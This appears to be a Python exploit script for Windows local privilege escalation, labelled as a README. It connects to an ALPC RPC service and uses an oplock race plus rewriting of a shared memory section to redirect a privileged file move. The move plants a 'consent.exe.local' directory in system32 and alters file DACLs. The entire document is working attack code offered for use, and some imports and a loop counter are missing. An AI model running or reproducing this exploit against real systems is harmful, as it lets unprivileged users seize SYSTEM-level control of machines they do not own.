README.md
Rendering markdown...
from win32security import OBJECT_INHERIT_ACE, PROTECTED_DACL_SECURITY_INFORMATION, \
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, SE_FILE_OBJECT
from exe_var import *
import windows.rpc
from windows.rpc import ndr
import windows.winproxy
import windows.generated_def as gdef
import win32con, win32security
import ntsecuritycon
import win32api, win32con
import winioctlcon, win32file
import threading
from winnt import FILE_READ_ATTRIBUTES
import pywintypes
hprocess = win32api.GetCurrentProcess()
htoken = win32security.OpenProcessToken(hprocess, win32security.TOKEN_ALL_ACCESS)
my_sid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenUser)[0]
my_rid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenIntegrityLevel)[0].GetSubAuthority(0)
RID = {0x1000:'SECURITY_MENDATORY_LOW_RID', 0x2000:'SECURITY_MENDATORY_MEDIUM_RID',
0x3000:'SECURITY_MENDATORY_HIGH_RID', 0x4000:'SECURITY_MENDATORY_SYSTEM_RID'}
print "[*] Current Integrity Level :%s(%0x)" % (RID[my_rid], my_rid)
def MakeDaclStringToSeObj(dacl_string, rev_opt=win32security.SDDL_REVISION_1):
return win32security.ConvertStringSecurityDescriptorToSecurityDescriptor(dacl_string, rev_opt)
def RemoveWriteDAC(fname):
try:
win32file.DeleteFile(fname)
except:
pass
my_dacl = "D:(D;;WD;;;SY)(A;;GA;;;WD)"
se_obj = MakeDaclStringToSeObj(my_dacl)
fdacl = se_obj.GetSecurityDescriptorDacl()
in_se_attr = win32security.SECURITY_ATTRIBUTES()
in_se_attr.SECURITY_DESCRIPTOR = se_obj
ret = win32security.SetNamedSecurityInfo(fname, SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION|DACL_SECURITY_INFORMATION|PROTECTED_DACL_SECURITY_INFORMATION,
my_sid, my_sid, fdacl, None)
if ret == None:
print '[*] Removed WriteDAC for System.'
else:
print '[!] Error while removing WriteDAC for System.'
# NDR Descriptions
class SvcMoveFileInheritSecurity(ndr.NdrParameters):
MEMBERS = [ndr.NdrUniquePTR(ndr.NdrWString),
ndr.NdrUniquePTR(ndr.NdrWString),
ndr.NdrLong]
# Make Low integirty File
base_path = os.environ['LocalAppData'] + "Low"
src_path = base_path + "\\consent.exe.local"
dst_path = os.environ['windir'] + "\\system32\\consent.exe.local"
fake_src = base_path + "\\fake_src.txt"
fake_dst = base_path + "\\fake_dst.txt"
if not os.path.exists(src_path):
os.makedirs(src_path)
# Exploit Step #1 : find endpoint associated rpc
UUID = "BE7F785E-0E3A-4AB7-91DE-7E46E443BE29"
client = windows.rpc.find_alpc_endpoint_and_connect(UUID, version=(0,0))
client_info =windows.rpc.find_alpc_endpoints(UUID, version=(0,0))
print "[*] RPC(be7f785e-0e3a-4ab7-91de-7e46e443be29) connected."
print "\t[+] Portname : " + str(client.alpc_client.port_name)
print "\t[+] Info : " + str(client_info)
iid = client.bind(UUID, version=(0,0))
cur_proc = windows.current_process
# Create Section
parameters = ndr.make_parameters([ndr.NdrWString, ndr.NdrWString, ndr.NdrLong]).pack([fake_src+'\x00',fake_dst+'\x00',0x1])
# Forge a call
IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])]
call_req = client._forge_call_request(IF_NUMBER, 14, "")
oplock_trigger = False
# Make Optlock
def oplock(dst_file):
global oplock_trigger
print "[*] Oplock Thread start!"
g_o = pywintypes.OVERLAPPED()
hdst = win32file.CreateFile(dst_file, FILE_READ_ATTRIBUTES, win32con.FILE_SHARE_READ, None,
win32con.OPEN_EXISTING, win32con.FILE_FLAG_OVERLAPPED, None)
ret_bytes = ctypes.c_ulong()
status = win32file.DeviceIoControl(hdst, winioctlcon.FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, g_o)
if status != 0:
print "[*] Destination file Oplock success! (%s)" % dst_file
else:
print "[!] It's failed to make OpLock."
exit(-1)
ret = win32file.GetOverlappedResult(hdst, g_o, 1)
if ret == 0:
print "[!] Oplcok Failed!"
print "[*] Called SetNamedSecurityInfo."
oplock_trigger = True
def exploit():
touch(fake_src)
t = threading.Thread(target=oplock, args=(fake_src,))
t.start()
section = client.alpc_client.create_port_section(0x40000, 0, 0x1000) # 0x40000 section flag (secure view)
view = client.alpc_client.map_section(section[0], 0x1000)
p = windows.alpc.AlpcMessage(0x2000)
p.port_message.data = call_req + ndr.NdrLong.pack(len(parameters) + 0x200) + "\x00" * 40
p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE
p.view_attribute.Flags = 0x40000
p.view_attribute.ViewBase = view.ViewBase
p.view_attribute.SectionHandle = view.SectionHandle
p.view_attribute.ViewSize = len(parameters)
# Write NDR to view
cur_proc.write_memory(view.ViewBase, parameters)
client.alpc_client.send(p)
idx = 0
while idx<1000:
if oplock_trigger == True:
break
if oplock_trigger == False:
print '[!] Race Condition Failed!'
return False
new_src = ndr.NdrWString.pack(src_path+'\x00')
new_dst = ndr.NdrWString.pack(dst_path+'\x00')
cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None)
cur_proc.write_memory(view.ViewBase, new_dst)
cur_proc.write_memory(view.ViewBase+4*26, new_src)
time.sleep(10)
if os.path.exists(dst_path):
print "[*] Exploit Complete!"
else:
print "[!] Exploit Failed!"
RemoveWriteDAC(src_path)
exploit()